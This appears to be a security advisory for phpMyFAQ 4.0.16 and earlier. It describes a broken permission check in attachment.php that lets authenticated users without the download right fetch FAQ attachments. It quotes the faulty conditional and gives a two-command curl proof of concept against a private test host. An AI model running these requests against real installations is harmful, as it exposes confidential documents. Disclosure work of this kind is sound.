phpMyFAQ is an open source FAQ web application. Versions 4.0.16 and below allow an authenticated user without the dlattachment permission to download FAQ attachments due to a incomprehensive permissions check. The presence of a right key is improperly validated as proof of authorization in attachment.php. Additionally, the group and user permission logic contains a flawed conditional expression that may allow unauthorized access. This issue has been fixed in version

Affected: Packagist: phpmyfaq/phpmyfaq, Packagist: thorsten/phpmyfaq

### Summary A logged‑in user without the dlattachment right can download FAQ attachments. This is due to a permissive permission check in attachment.php that treats the mere presence of a right key as authorization and a flawed group/user logic expression.

### Details In attachment.php, the access decision uses: ```($groupPermission || ($groupPermission && $userPermission)) && isset($permission['dlattachment'])``` isset() returns true even when the right value is false, and the logic simplifies to $groupPermission for some permission modes. As a result, a user without dlattachment can still access the attachment.

### PoC Precondition: A non‑admin user exists; an attachment is associated to a FAQ record; records.allowDownloadsForGuests = false. Log in as a non‑admin user without dlattachment. Request the attachment download endpoint. ``` curl -c /tmp/pmf_api_cookies.txt \ -H 'Content-Type: application/json' \ -d '{"username":"tester","password":"Test1234!"}' \ http://192.168.40.16/phpmyfaq/api/v3.0/login

curl -i -b /tmp/pmf_api_cookies.txt \ "http://192.168.40.16/phpmyfaq/index.php?action=attachment&id=1" ```

### Impact Unauthorized users can download attachments (confidentiality breach). Depending on content, this may expose sensitive documents.